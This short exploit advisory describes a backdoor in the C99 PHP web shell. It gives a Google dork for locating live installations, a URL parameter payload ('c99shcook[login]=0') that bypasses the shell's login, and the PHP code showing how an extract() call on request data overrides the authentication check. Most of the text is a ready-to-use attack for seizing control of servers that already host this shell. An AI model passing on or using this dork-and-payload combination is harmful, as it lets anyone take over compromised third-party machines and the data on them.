# Exploit Title: C99 Shell Authentication Bypass via Backdoor
# Google Dork: inurl:c99.php

# Tested on:Linux
# CVE: N/A
All C99.php shells are backdoored. To bypass authentication add "?c99shcook[login]=0" to the URL.
e.g. http://127.0.0.1/c99.php?c99shcook[login]=0
The backdoor:
@extract($_REQUEST["c99shcook"]);
Which bypasses the authentication here:
if ($login) {
if (empty($md5_pass)) {
$md5_pass = md5($pass);
}
if (($_SERVER["PHP_AUTH_USER"] != $login) or (md5($_SERVER["PHP_AUTH_PW"]) != $md5_pass)) {
if ($login_txt === false) {
$login_txt = "";
} elseif (empty($login_txt)) {
$login_txt = strip_tags(ereg_replace(" |<br>", " ", $donated_html));
}
header("WWW-Authenticate: Basic realm=\"c99shell " . $shver . ": " . $login_txt . "\"");
header("HTTP/1.0 401 Unauthorized");
exit($accessdeniedmess);
}
}
